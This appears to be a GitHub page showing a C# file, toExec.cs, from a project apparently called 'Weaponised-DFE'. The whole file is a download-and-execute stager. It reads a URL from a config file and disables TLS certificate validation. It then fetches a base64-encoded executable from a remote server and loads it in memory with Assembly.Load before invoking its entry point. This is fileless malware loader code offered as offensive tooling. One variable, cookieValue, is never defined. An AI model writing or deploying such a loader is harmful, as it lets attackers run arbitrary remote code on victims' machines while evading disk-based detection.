-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtoExec.cs
More file actions
44 lines (37 loc) · 1.21 KB
/
toExec.cs
File metadata and controls
44 lines (37 loc) · 1.21 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
using System;
using System.Net;
using System.Net.Http;
using System.Reflection;
using System.Text.RegularExpressions;
using System.IO;
string configPath = Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "Weaponised-DFE", "config.ini");
string configContent = File.ReadAllText(configPath);
string url = Regex.Match(configContent, @"url=\[(.*?)\]").Groups[1].Value;
var cookieContainer = new CookieContainer();
cookieContainer.Add(new Uri(url), new Cookie("sessionID", cookieValue));
HttpClientHandler handler = new HttpClientHandler
{
CookieContainer = cookieContainer,
ServerCertificateCustomValidationCallback = (message, cert, chain, sslPolicyErrors) => true
};
HttpClient client = new HttpClient(handler);
HttpResponseMessage resp = client.GetAsync(url).Result;
string b64Exe = resp.Content.ReadAsStringAsync().Result;
byte[] exe = Convert.FromBase64String(b64Exe);
Assembly asm = Assembly.Load(exe);
MethodInfo entry = asm.EntryPoint;
if (entry != null)
{
if (entry.GetParameters().Length == 0)
{
entry.Invoke(null, null);
}
else
{
entry.Invoke(null, new object[] { new string[] { } });
}
}
else
{
Console.WriteLine("Error: No entry point found.");
}